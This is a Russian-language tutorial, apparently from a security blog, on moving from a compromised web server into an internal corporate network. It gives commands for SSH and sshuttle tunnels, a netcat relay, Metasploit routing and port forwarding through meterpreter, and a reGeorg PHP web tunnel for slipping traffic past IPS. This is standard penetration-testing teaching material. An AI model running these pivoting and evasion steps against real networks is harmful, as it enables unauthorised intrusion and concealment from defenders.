Предположим, что мы получили доступ к корпоративному веб-серверу, который имеет два сетевых интерфейса: один в Интернет, а второй в локальную корпоративную сеть. Что дальше? Веб-сервер разрешает входящие подключения только на TCP порт 80, да и весь трафик находится под пристальным присмотром системы IPS, а нам просто необходимо продвинуться вглубь инфраструктуры. В данной статье я расскажу как это можно сделать.

От простого к сложному

Для простоты, будем предполагать, что внешняя сеть это 192.168.1.0/24 а внутренняя корпоративная 192.168.2.0/24.

Сперва рассмотрим простейший пример, когда веб-сервер позволяет подключиться к нему по протоколу SSH и мы завладели учетными данными.

Ни для кого не секрет, что в таком случае мы может организовать SOCKS прокси на нашей машине, который будет отправлять весь трафик по зашифрованному каналу, сервер будет расшифровывать его и отправлять дальше в локальную сеть.

Напомню, что такой туннель можно создать выполнив подобную команду:

ssh -D localhost:8888 user@192.168.1.5

Где 192.168.1.5 — IP адрес скомпрометированного веб-сервера. Его мы будем использовать и в следующих примерах.

После этого, используя proxychains можно произвести, например, сканирование хоста корпоративной сети.

/etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8888

proxychains nmap -n -v -sT -Pn -F 192.168.2.4

Если мы не можем работать через proxychains, то можно сделать проброс фиксированного порта (например RDP) через SSH туннель.

ssh -L localhost:8888:192.168.2.4:3389 user@192.168.1.5

Далее подключиться по RDP можно будет выполнив команду

rdesktop localhost:8888

Что если мы не хотим для каждого удаленного хоста пробрасывать порт?
В таком случае можем использовать утилиту sshuttle
Установить утилиту можно из репозитория или с github-а

В простейшем виде запуск выглядит так:

sshuttle -r user@192.168.1.5 192.168.2.0/24

После запуска мы можем подключаться к удаленным хостам, как будто мы в их локальной сети, т.е. просто

rdesktop 192.168.2.4:3389

Как это работает, можно почитать на github.

Еще один вариант построения туннеля — использование утилиты netcat, если ситуация позволяет.

Если нам нужно к примеру подключиться по SSH к хосту в другой подсети, мы можем выполнить следующие команды на скомпрометированном веб-сервере (192.168.1.5/24):


rm /tmp/backpipe;mkfifo /tmp/backpipe
nc -lvp 8888 0</tmp/backpipe | nc 192.168.2.4 22 1>/tmp/backpipe

После этого можно получить доступ по SSH к удаленному серверу с машины атакующего следующим образом:

ssh remoteuser@192.168.1.5:8888

Подключение произойдет к хосту с IP-адресом 192.168.2.4, который напрямую с машины атакующего недоступен.

Усложняем задачу

Предположим, что доступа по SSH у нас к корпоративному веб-серверу нет, но мы нашли уязвимость, и выполнили шелл-код на стороне веб-сервера.
В качестве шелл-кода мы выполнили meterpreter фреймволка метасплойт и теперь имеем сессию.
Теперь, каким-то образом, мы должны проэксплуатировать другие машины внутренней корпоративной сети 192.168.2.0/24.

В состав фреймворка метасплойт входят инструменты, позволяющие это сделать.

Номер сессии метерпретера — 1
Чтобы выполнять другие модули фреймворка метасплойт на хостах корпоративной сети, нужно из сессии метерпретера выполнить следующие команды:

background — свернуть текущую сессию метерпретера.
route add 192.168.2.0 255.255.255.0 1 — добавить маршрут.

Используйте route print чтобы посмотреть активные маршруты:


msf exploit(handler) > route print

Active Routing Table
====================

Subnet Netmask Gateway
—— ——- ——-
192.168.2.0 255.255.255.0 Session 1

Теперь, используя модули метасплойт, вы можете указывать в параметрах RHOST/RHOSTS хосты подсети 192.168.2.0/24.

Но этот маршрут доступен только в рамках контекста фреймворка метасплойт. Что если нам нужно получить доступ по RDP или другому протоколу у внутреннему хосту для стороннего приложения, скажем rdesktop?

для этого снова открываем сессию метерпретера и выполняем команду:


msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > portfwd add -l 5555 -p 3389 -r 192.168.2.4
[*] Local TCP relay created: :5555 192.168.2.4:3389

Теперь можно подключиться как обычно:

rdesktop 127.0.0.1:5555

Чтобы отменить портфорвардинг используйте:

portfwd delete -l 5555 -p 3389 -r 192.168.2.4

Прячемся лучше

Если компания использует систему IPS и трафик не только разрешается или запрещается на основании номера порта , но и анализируется, нам потребуется применить более изощренные методы доставки нашей полезной нагрузки на удаленный сервер.

И здесь нам потребуются инструменты для инкапсуляции нашего трафика в «разрешенные» пакеты.

Для начала стоит, пожалуй, сказать, что метерпретер может работать по протоколам HTTP и HTTPS.
Для этого можно использовать следующие пейлоады для ОС семейства Windows:


windows/meterpreter/reverse_http
windows/meterpreter/reverse_https

В таком случае весь трафик виден системе IPS как HTTP.

Но метерпретер — не единственный инструмент, позволяющий инкапсулировать трафик в HTTP и перенаправлять во внутреннюю сеть. К тому же, не всегда нам удается им воспользоваться.

Идея состоит в том, чтобы на скомпрометированном хосте разместить инструмент, который будет отвечать за инкапсуляцию трафика, например php-скрипт, который будет выполнять веб-сервер без каких-либо проблем.

Такое решение обычно представляет собой клиент-серверное приложение. Серверная часть находится на шлюзе и инкапсулирует трафик в GET/POST запросы, если мы инкапсулируем в HTTP. При этом данные могут сжиматься, шифроваться, кодироваться в base64 и т.п.

Одним из таких инструментов является reGeorg.
Он позволяет создавать SOCKS прокси и созданный туннель можно использовать сразу для нескольких подключений.
Есть серверные части под различные веб-платформы, а клиентская часть написана на Python.

Т.е. основаня задача — это разместить на корпоративном веб-сервере подходящую серверную часть reGeorg-а, через SQL-injection или как-то еще, которая будет доступна, скажем, по такой ссылке

http://192.168.1.5/tunnel.php

Когда сервер доступен по ссылке, мы можем запустить клиентскую часть на машине атакующего:

python reGeorgSocksProxy.py -u http://192.168.1.5/tunnel.php

Если вы получаете сообщение [INFO ] Georg says, ‘All seems fine’, значит соединение установлено.

Дальше все просто, настраиваем proxychains

/etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8888

И используем туннель

proxychains rdesktop 192.168.2.4

Можете запустить wireshark и убедиться, что весь передаваемый трафик является HTTP-трафиком, хотя мы работаем с удаленным сервером по протоколу RDP.

Инкапсулировать трафик можно не только в HTTP, но и, к примеру, в DNS UDP пакеты!
Для этого служит утилита dnscat2.
Подробнее про нее вы можете прочитать в другой статье на DefconRU.

В качестве заключения

Как можно убедиться после прочтения данной статьи, уязвимость одного узла может привести к компрометации всей сети.
Существует множество способов маскировки трафика и обхода систем IDP/IPS. Поэтому следует уделять повышенное внимание к узлам, имеющим выход в сеть Интернет.